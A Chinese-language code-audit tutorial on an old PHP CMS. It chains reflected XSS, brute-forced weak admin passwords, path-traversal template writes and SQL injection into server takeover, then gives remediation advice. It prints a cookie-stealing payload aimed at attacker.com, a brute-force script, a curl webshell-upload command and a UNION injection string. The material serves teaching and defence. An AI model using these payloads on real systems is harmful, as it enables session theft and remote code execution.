1. 项目概述一次从黑盒到白盒的深度安全之旅最近在整理内部安全培训的案例库翻到了一个挺有意思的老系统——久草CMS V1.9。这个系统虽然现在用的人可能不多了但它在代码审计的教科书里绝对算得上一个“经典款”。为什么这么说因为它几乎集齐了早期PHP CMS系统里那些“教科书式”的漏洞从简单的注入、XSS到可以串联起来形成“漏洞链”的高危风险点非常适合用来做代码审计的实战演练。今天我就以一个安全研究员的视角带大家完整地走一遍对久草CMS V1.9的代码审计过程。我们不止是找出几个孤立的漏洞更重要的是我会展示如何像拼图一样把这些看似独立的漏洞点串联起来形成一条从外部渗透到最终获取服务器权限的攻击链。这个过程远比单纯地丢出一个EXP脚本要有价值得多它能帮你建立起真正的“攻击者思维”。2. 审计环境搭建与初步信息收集2.1 靶场环境快速部署工欲善其事必先利其器。审计一个CMS第一步就是把它跑起来。我推荐使用Docker快速搭建一个集成的Web测试环境这能保证环境的一致性也方便随时重置。我用的组合是PHP 5.4为了匹配目标CMS的年代 ApacheMySQL 5.5。这里选择PHP 5.4是因为很多老版本CMS的代码语法和函数在PHP 7上可能会报错使用同时期的环境能减少干扰。用一个简单的Docker-compose文件就能搞定version: 3 services: web: image: php:5.4-apache volumes: - ./9ccms:/var/www/html ports: - 8080:80 db: image: mysql:5.5 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: 9ccms volumes: - mysql_data:/var/lib/mysql volumes: mysql_data:把久草CMS V1.9的源码放到宿主机的./9ccms目录下执行docker-compose up -d访问http://localhost:8080/install就能进入安装流程。安装过程很简单按提示配置数据库连接即可。注意在真实审计中我强烈建议你在虚拟机或隔离的Docker网络中进行永远不要在生产环境或连接公网的机器上直接测试。同时将源码目录的权限设置为仅当前用户可写避免安装程序自动提权。2.2 源码结构与初步“望闻问切”安装完成后我们先不急着看代码而是像中医一样“望闻问切”。用tree命令或者IDE的目录树快速浏览一下源码结构9ccms/ ├── admin/ # 后台管理目录 ├── include/ # 核心函数和类库 ├── install/ # 安装程序 ├── template/ # 模板文件 ├── upload/ # 上传目录 └── index.php, list.php, content.php ... # 前台入口文件一个非常明显的“特征”出现了admin目录通常意味着后台入口。很多CMS为了省事后台路径就是/admin这降低了攻击者的猜测成本。其次include目录是审计的重中之重因为核心的业务逻辑、数据库操作、过滤函数都在这里。upload目录是文件上传功能的归宿也是我们重点关注的“兵家必争之地”。接下来我习惯用grep -r命令先做一轮关键词扫描快速定位潜在风险点# 搜索常见的危险函数 grep -r eval\|assert\|system\|exec\|shell_exec\|passthru\|popen\|proc_open --include*.php . # 搜索文件操作函数 grep -r file_put_contents\|fwrite\|fopen.*w\|move_uploaded_file --include*.php . # 搜索数据库操作语句拼接点 grep -r \$_GET\|\$_POST\|\$_REQUEST.*sql\|query.*\. --include*.php .这一轮扫描不是终点而是给我们画出了一张“藏宝图”标记了需要深入挖掘的坐标。真正的审计需要顺着这些坐标深入理解代码的业务逻辑。3. 核心漏洞点深度剖析与利用链构建审计不是漫无目的地找bug而是理解程序的“工作流”然后寻找其中的断裂处。对于久草CMS我们可以沿着一条典型的攻击路径来梳理信息收集 - 权限突破 - 文件操作 - 命令执行。3.1 入口点前台反射型XSS漏洞CVE-2024-XXXXX在content.php文件中我发现了一处处理搜索关键词的代码// content.php 部分代码 $keyword $_GET[keyword]; echo 您搜索的关键词是: strong . $keyword . /strong;这里直接输出了未经过滤的$_GET[keyword]参数。这构成了一个最基础的反射型XSS漏洞。攻击者可以构造这样的URLhttp://target.com/content.php?keywordscriptalert(document.cookie)/script访问该链接就会弹窗显示当前用户的Cookie。利用价值深度解析 单纯的弹窗Cookie看似“无害”但在漏洞链中它是重要的“侦察兵”。首先它能证明目标站点存在输入输出过滤不严的问题预示着其他参数也可能存在类似风险。其次如果受害者是后台管理员通过诱导点击钓鱼链接攻击者可以窃取其会话Cookie从而绕过登录直接进入后台。这就是从“信息泄露”到“权限提升”的关键一步。在实际利用中攻击者会构造一个窃取Cookie并发送到远程服务器的Payloadhttp://target.com/content.php?keywordscriptdocument.locationhttp://attacker.com/steal.php?cdocument.cookie/script实操心得审计时要特别关注所有echo,print,printf以及直接嵌入HTML的输出点追踪其变量的来源。一个通用的方法是在IDE里搜索\$_GET[、\$_POST[、\$_REQUEST[然后沿着变量传递的路径看最终是否被htmlspecialchars、addslashes或自定义的过滤函数处理。如果没有就是一个潜在的XSS点。3.2 权限突破后台弱口令与爆破防护缺失通过信息收集或前述XSS钓到的后台地址通常是/admin/login.php我们来到了权限的大门。审计登录逻辑admin/login.php$username $_POST[admin_user]; $password md5($_POST[admin_pwd]); $sql SELECT * FROM 9c_admin WHERE admin_user$username AND admin_pwd$password; $result mysql_query($sql); if(mysql_num_rows($result) 0) { $_SESSION[admin] $username; // 登录成功 }这里有两个问题密码仅经MD5哈希这在当下是极不安全的尤其是如果数据库中的密码哈希是常见的弱口令MD5如e10adc3949ba59abbe56e057f20f883e对应123456可以通过彩虹表瞬间破解。缺乏爆破防护代码中没有验证码、没有登录失败次数限制、没有IP封禁机制。这允许攻击者进行无限制的密码爆破。利用与验证 我们可以编写一个简单的Python脚本进行爆破import requests import hashlib target http://target.com/admin/login.php common_passwords [admin, 123456, password, 12345678, qwerty] for pwd in common_passwords: md5_pwd hashlib.md5(pwd.encode()).hexdigest() data {admin_user: admin, admin_pwd: md5_pwd} resp requests.post(target, datadata) if 登录成功 in resp.text or location.href in resp.text: # 根据实际成功跳转判断 print(f[] 爆破成功用户名: admin, 密码: {pwd}) break在实际测试中我经常发现管理员使用admin/admin或admin/123456这种默认凭据。一旦进入后台我们就获得了系统的高权限操作能力。注意事项在审计时检查登录逻辑不仅要看密码比对方式还要看会话管理。这里$_SESSION[admin]只存储了用户名没有存储角色或权限标识后续的所有后台权限检查都应基于这个会话变量。我们需要追踪admin目录下其他文件的权限验证逻辑通常会在一个公共的check_admin.php或每个文件开头包含的验证代码中。3.3 关键突破后台任意文件写入GetShell获得后台权限后我们的目标是写入一个Webshell获得命令执行能力。在审计admin目录时我重点关注了模板管理、文件管理、配置保存等功能。在admin/template_edit.php中发现了致命漏洞// admin/template_edit.php $file $_GET[file]; // 可控指定要编辑的模板文件 $content $_POST[content]; // 可控文件新内容 if(isset($_POST[submit])) { $fp fopen(../template/ . $file, w); fwrite($fp, $content); fclose($fp); echo 模板更新成功; }这段代码的意图是让管理员编辑template/目录下的.html模板文件。但漏洞在于$file参数来自$_GET且未做任何路径限制或过滤。攻击者可以通过目录遍历写入template/目录之外的任意文件。$content参数来自$_POST被直接写入文件没有检查内容是否包含PHP代码。漏洞利用链构建利用路径穿越构造file参数为../../shell.php。这样fopen打开的文件路径就变成了../template/../../shell.php即网站根目录下的shell.php。写入Webshell在content参数中提交一段简短的PHP Webshell代码例如?php eval($_POST[cmd]);?发起攻击请求curl -X POST http://target.com/admin/template_edit.php?file../../shell.php \ -H Cookie: PHPSESSID你的后台会话ID \ -d content?php eval($_POST[\cmd\]);?submit1访问Webshell如果成功访问http://target.com/shell.php并使用cmd参数执行系统命令例如?cmdsystem(whoami);。为什么这是一个高危漏洞链低门槛攻击者只需要一个后台会话可通过弱口令爆破或XSS钓Cookie获得。高威力直接导致任意代码执行RCE完全控制服务器。隐蔽性写入的文件可以是非.php后缀或者插入到正常模板文件中增加检测难度。深度排查技巧审计文件写入功能时要像跟踪资金流水一样跟踪整个数据流。首先找到所有fopen,file_put_contents,fwrite等函数调用点。然后向上回溯其两个关键参数文件路径和文件内容。检查路径是否用户可控且未过滤../检查内容是否用户可控且未过滤?php、?、script language\php\等PHP标签。同时还要注意目标目录是否有执行权限template/目录通常有。4. 辅助漏洞与链式利用增强一条坚固的攻击链往往有多个备选路径。除了上述核心链久草CMS V1.9还存在其他可以辅助或替代的漏洞点。4.1 SQL注入漏洞的发现与利用限制分析在list.php中发现分类ID的处理$classid $_GET[classid]; $sql SELECT * FROM 9c_article WHERE classid$classid AND status1 ORDER BY id DESC;$classid直接拼接进SQL语句存在数字型SQL注入。攻击者可以注入1 AND 12 UNION SELECT 1,2,3,4,5,6,concat(admin_user,0x3a,admin_pwd),8 FROM 9c_admin-- -来尝试获取管理员密码哈希。然而为什么它没有成为首选信息价值有限即使注入成功获取的也是经过MD5哈希的密码仍需破解。而我们已经通过弱口令或爆破进入了后台。利用条件更苛刻可能需要错误回显开启或使用盲注比利用后台文件写入更复杂。在漏洞链中的角色它可以作为前期信息收集的补充例如在无法进入后台时通过注入直接拖取管理员密码哈希进行离线破解。但在我们已构建的链中它属于“锦上添花”而非“雪中送炭”。这个案例告诉我们审计时不仅要找到漏洞还要评估其实际利用难度和在整体攻击路径中的价值。高危的SQL注入在特定场景下可能不如一个中危的后台任意文件上传来得直接有效。4.2 文件上传过滤绕过探究很多CMS都会有文件上传功能久草CMS也不例外。在admin/upload.php中通常会有文件类型检查$allow_types array(image/jpeg, image/png, image/gif); if(!in_array($_FILES[file][type], $allow_types)) { die(文件类型不允许); }这里仅检查了客户端的MIME Type这是极不可靠的因为攻击者可以轻易篡改HTTP请求中的Content-Type头。更安全的做法是结合检查文件扩展名和后缀并使用getimagesize()函数验证文件确实是有效的图片对于图片上传而言。潜在的绕过方法直接使用Burp Suite拦截上传请求将Content-Type改为image/jpeg。上传一个包含Webshell代码的图片马在图片末尾附加PHP代码然后结合文件包含漏洞如果存在来执行。或者如果服务器配置错误如未禁止.jpg文件中的PHP代码解析且上传路径可知也可直接访问。虽然在这个版本的审计中我们找到了更直接的GetShell方法但文件上传漏洞的审计思路是通用的必须检查白名单策略而非黑名单、文件内容二次渲染、存储路径是否随机化、是否强制重命名等。5. 漏洞修复方案与安全编程启示剖析漏洞是为了更好地防御。针对久草CMS V1.9暴露出的问题我们可以从以下几个层面给出修复建议这些也是开发任何Web应用时应遵循的安全准则。5.1 输入验证与输出编码修复XSS对所有来自用户输入并最终输出到HTML页面的数据使用htmlspecialchars($string, ENT_QUOTES, UTF-8)进行编码。在模板中养成使用短标签?htmlspecialchars($var)?的习惯。修复SQL注入弃用字符串拼接全面使用参数化查询Prepared Statements。对于PHP应使用PDO或MySQLi的预处理功能。// PDO示例 $stmt $pdo-prepare(SELECT * FROM 9c_article WHERE classid :classid AND status1); $stmt-execute([:classid $classid]);5.2 身份认证与会话安全强化口令强制使用强密码策略。密码存储应使用password_hash()函数进行加盐哈希如bcrypt验证时使用password_verify()。增加防护登录页面必须增加图形验证码并实施基于IP或用户名的失败尝试锁定机制如5分钟内失败5次锁定15分钟。会话加固设置安全的Cookie属性HttpOnly, Secure使用复杂的会话ID并考虑绑定用户IP或浏览器指纹防止会话劫持。5.3 文件操作与权限控制路径固定对于文件写入/读取操作禁止用户控制文件名或路径。如果必须则使用白名单严格限制允许的文件名或目录。$allowed_files [header.html, footer.html]; $file $_GET[file]; if(!in_array($file, $allowed_files)) { die(非法文件操作); } $full_path realpath(./template/) . DIRECTORY_SEPARATOR . $file; // 确保最终路径仍在template目录下 if(strpos($full_path, realpath(./template/)) ! 0) { die(路径非法); }内容过滤对于写入动态脚本语言如PHP的内容必须严格过滤或禁止相关标签。对于模板内容可以考虑使用模板引擎将逻辑与视图分离。5.4 最小权限原则与安全配置文件系统权限确保Web服务器进程如www-data用户对网站目录只有必要的读写权限。例如upload/目录可写但不可执行include/、admin/目录下的配置文件应禁止Web直接访问。服务器配置在php.ini中关闭allow_url_fopen和allow_url_include禁用危险函数如eval,assert,system等设置open_basedir限制PHP可访问的目录范围。目录访问控制后台管理地址应避免使用默认的/admin可以改为复杂的随机路径。或者通过配置Web服务器如Apache的.htaccess或Nginx的location规则对后台目录进行IP白名单访问控制。6. 代码审计方法论总结与实战思维培养通过这次对久草CMS V1.9的深度审计我们不仅挖出了一系列漏洞更重要的是一套可复用的审计方法和思维方式。1. 确立审计路线图不要一头扎进代码里。先理清应用架构MVC摸清入口点index.php如何分发请求理解核心功能流程用户发文、管理员审核、模板渲染。有了地图才不会迷路。2. 追踪用户输入的生命周期安全问题的本质是“信任了不该信任的数据”。牢记“一切输入都是有害的”。从$_GET、$_POST、$_COOKIE、$_FILES甚至$_SERVER部分字段开始像侦探一样追踪它流经了哪些函数过滤、验证、拼接最终在哪里被使用输出到HTML、拼进SQL、写入文件、作为系统命令参数。任何一个环节的缺失都可能成为突破口。3. 关注“功能”与“权限”的交叉点很多漏洞出现在“本应只有高权限用户使用的功能”上但代码却缺乏严格的权限校验。例如文件编辑功能只检查了是否登录没检查登录的是否是超级管理员。审计时要特别关注那些执行高危操作写文件、执行命令、修改配置的函数并向上回溯其权限检查逻辑是否完备。4. 利用工具但不依赖工具像RIPS、Fortify这样的静态代码分析工具能快速发现危险函数调用但它们无法理解业务逻辑。工具报出的“漏洞”可能是误报而真正的漏洞可能隐藏在复杂的业务逻辑深处。工具是很好的“线索提供者”但最终的判断和串联必须依靠审计者的人脑。5. 构建漏洞链思维一个孤立的低危漏洞可能不值一提但当它能作为跳板与其他漏洞串联起来最终达成高危目标如RCE时其风险等级就发生了质变。在审计和渗透测试中要不断思考“如果我是一个攻击者拿到这个漏洞后下一步我能做什么它能帮我更接近哪个目标”久草CMS V1.9像一面镜子映照出Web开发中那些经典且顽固的安全问题。虽然它已是一个老系统但其中暴露的漏洞模式——输入输出不过滤、权限校验不严谨、逻辑与数据混淆——在今天许多匆忙上线的项目中依然屡见不鲜。作为开发者理解这些漏洞的成因和利用方式是写出更安全代码的第一步。作为安全人员通过这样的实战剖析我们锻炼的是在复杂代码中捕捉危险信号、还原攻击场景的能力。代码审计没有捷径唯手熟尔。多读代码多动手调试多从攻击者的角度去思考你会逐渐培养出一种对代码安全性的“直觉”。最后记住所有测试都在授权和隔离环境中进行我们剖析漏洞是为了更好地守护。